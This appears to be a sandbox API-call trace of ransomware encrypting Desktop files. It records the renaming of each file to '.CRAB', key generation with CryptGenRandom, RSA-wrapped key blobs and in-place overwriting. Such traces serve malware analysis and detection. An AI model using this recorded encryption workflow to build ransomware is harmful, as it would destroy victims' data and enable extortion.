	[0126.264] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\", lpString2="yiUKc1U.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav"
	[0126.264] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.264] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav") returned 74
	[0126.264] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav") returned 74
	[0126.264] lstrlenW (lpString=".wav") returned 4
	[0126.264] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.265] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0126.265] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.265] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav") returned 74
	[0126.265] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav") returned 74
	[0126.265] lstrcmpiW (lpString1="yiUKc1U.wav", lpString2="desktop.ini") returned 1
	[0126.265] lstrcmpiW (lpString1="yiUKc1U.wav", lpString2="autorun.inf") returned 1
	[0126.265] lstrcmpiW (lpString1="yiUKc1U.wav", lpString2="ntuser.dat") returned 1
	[0126.265] lstrcmpiW (lpString1="yiUKc1U.wav", lpString2="iconcache.db") returned 1
	[0126.265] lstrcmpiW (lpString1="yiUKc1U.wav", lpString2="bootsect.bak") returned 1
	[0126.265] lstrcmpiW (lpString1="yiUKc1U.wav", lpString2="boot.ini") returned 1
	[0126.265] lstrcmpiW (lpString1="yiUKc1U.wav", lpString2="ntuser.dat.log") returned 1
	[0126.265] lstrcmpiW (lpString1="yiUKc1U.wav", lpString2="thumbs.db") returned 1
	[0126.265] lstrcmpiW (lpString1="yiUKc1U.wav", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.266] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.266] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav.CRAB") returned 79
	[0126.266] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\yiukc1u.wav")) returned 0x20
	[0126.266] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav", dwFileAttributes=0x20) returned 1
	[0126.266] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\yiukc1u.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\yiukc1u.wav.crab")) returned 1
	[0126.267] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.267] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav.CRAB"
	[0126.268] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav.CRAB.CRAB"
	[0126.268] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0126.268] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.269] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.269] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.269] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0126.269] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.269] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.269] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e738) returned 1
	[0126.270] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.270] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.270] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.270] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0126.270] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0126.270] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.270] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.271] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.271] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0126.271] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318e538) returned 1
	[0126.272] CryptGetKeyParam (in: hKey=0x318e538, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0126.272] CryptEncrypt (in: hKey=0x318e538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0126.272] GetLastError () returned 0x0
	[0126.272] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.272] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0126.272] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318ebb8) returned 1
	[0126.273] CryptGetKeyParam (in: hKey=0x318ebb8, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0126.273] CryptEncrypt (in: hKey=0x318ebb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0126.273] GetLastError () returned 0x0
	[0126.273] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.273] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\yiUKc1U.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\yiukc1u.wav.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0126.273] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.274] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.274] ReadFile (in: hFile=0x3f4, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314b474*=0x1416e, lpOverlapped=0x0) returned 1
	[0126.304] VirtualAlloc (lpAddress=0x0, dwSize=0x14170, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.306] VirtualAlloc (lpAddress=0x0, dwSize=0x14170, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0126.308] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.309] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffebe92, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.309] WriteFile (in: hFile=0x3f4, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x14170, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314b464*=0x14170, lpOverlapped=0x0) returned 1
	[0126.309] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.310] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.316] WriteFile (in: hFile=0x3f4, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0126.316] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0126.316] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0126.316] CloseHandle (hObject=0x3f4) returned 1
	[0126.316] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.316] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.317] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.317] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.317] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.317] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.318] FindNextFileW (in: hFindFile=0x3158940, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0126.318] FindClose (in: hFindFile=0x3158940 | out: hFindFile=0x3158940) returned 1
	[0126.318] FindNextFileW (in: hFindFile=0x3158e40, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0126.318] lstrcmpW (lpString1="OKq7iC_s-b-Ayh.jpg", lpString2=".") returned 1
	[0126.318] lstrcmpW (lpString1="OKq7iC_s-b-Ayh.jpg", lpString2="..") returned 1
	[0126.318] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\", lpString2="OKq7iC_s-b-Ayh.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg"
	[0126.318] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.318] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg") returned 71
	[0126.318] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg") returned 71
	[0126.318] lstrlenW (lpString=".jpg") returned 4
	[0126.318] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.319] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".jpg ") returned 5
	[0126.319] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.319] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg") returned 71
	[0126.319] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg") returned 71
	[0126.319] lstrcmpiW (lpString1="OKq7iC_s-b-Ayh.jpg", lpString2="desktop.ini") returned 1
	[0126.319] lstrcmpiW (lpString1="OKq7iC_s-b-Ayh.jpg", lpString2="autorun.inf") returned 1
	[0126.319] lstrcmpiW (lpString1="OKq7iC_s-b-Ayh.jpg", lpString2="ntuser.dat") returned 1
	[0126.319] lstrcmpiW (lpString1="OKq7iC_s-b-Ayh.jpg", lpString2="iconcache.db") returned 1
	[0126.319] lstrcmpiW (lpString1="OKq7iC_s-b-Ayh.jpg", lpString2="bootsect.bak") returned 1
	[0126.319] lstrcmpiW (lpString1="OKq7iC_s-b-Ayh.jpg", lpString2="boot.ini") returned 1
	[0126.319] lstrcmpiW (lpString1="OKq7iC_s-b-Ayh.jpg", lpString2="ntuser.dat.log") returned 1
	[0126.319] lstrcmpiW (lpString1="OKq7iC_s-b-Ayh.jpg", lpString2="thumbs.db") returned -1
	[0126.319] lstrcmpiW (lpString1="OKq7iC_s-b-Ayh.jpg", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.319] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.320] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg.CRAB") returned 76
	[0126.320] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\okq7ic_s-b-ayh.jpg")) returned 0x20
	[0126.320] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg", dwFileAttributes=0x20) returned 1
	[0126.320] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\okq7ic_s-b-ayh.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\okq7ic_s-b-ayh.jpg.crab")) returned 1
	[0126.321] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.321] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg.CRAB"
	[0126.322] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg.CRAB.CRAB"
	[0126.322] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0126.322] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.322] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.323] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.323] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0126.323] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.323] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.323] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e9e0) returned 1
	[0126.324] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.324] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.324] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.324] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0126.324] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0126.324] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.325] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.325] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.325] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e6b0) returned 1
	[0126.326] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318ec78) returned 1
	[0126.326] CryptGetKeyParam (in: hKey=0x318ec78, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.326] CryptEncrypt (in: hKey=0x318ec78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0126.326] GetLastError () returned 0x0
	[0126.326] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0126.326] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e9e0) returned 1
	[0126.327] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318e7f8) returned 1
	[0126.327] CryptGetKeyParam (in: hKey=0x318e7f8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0126.327] CryptEncrypt (in: hKey=0x318e7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0126.327] GetLastError () returned 0x0
	[0126.327] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0126.327] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\OKq7iC_s-b-Ayh.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\okq7ic_s-b-ayh.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0126.328] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.328] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.328] ReadFile (in: hFile=0x3f0, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314bf1c*=0x1594f, lpOverlapped=0x0) returned 1
	[0126.341] VirtualAlloc (lpAddress=0x0, dwSize=0x15950, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.343] VirtualAlloc (lpAddress=0x0, dwSize=0x15950, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0126.345] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.345] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffea6b1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.345] WriteFile (in: hFile=0x3f0, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x15950, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314bf0c*=0x15950, lpOverlapped=0x0) returned 1
	[0126.346] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.346] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.350] WriteFile (in: hFile=0x3f0, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.350] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0126.350] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0126.350] CloseHandle (hObject=0x3f0) returned 1
	[0126.350] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.351] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.351] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.351] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.351] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.352] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.352] FindNextFileW (in: hFindFile=0x3158e40, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0126.352] lstrcmpW (lpString1="yKH63XJp1y.doc", lpString2=".") returned 1
	[0126.352] lstrcmpW (lpString1="yKH63XJp1y.doc", lpString2="..") returned 1
	[0126.352] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\", lpString2="yKH63XJp1y.doc" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc"
	[0126.352] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.352] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc") returned 67
	[0126.352] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc") returned 67
	[0126.353] lstrlenW (lpString=".doc") returned 4
	[0126.353] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.353] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".doc ") returned 5
	[0126.353] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.353] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\yKH63XJp1y.doc") returned 67
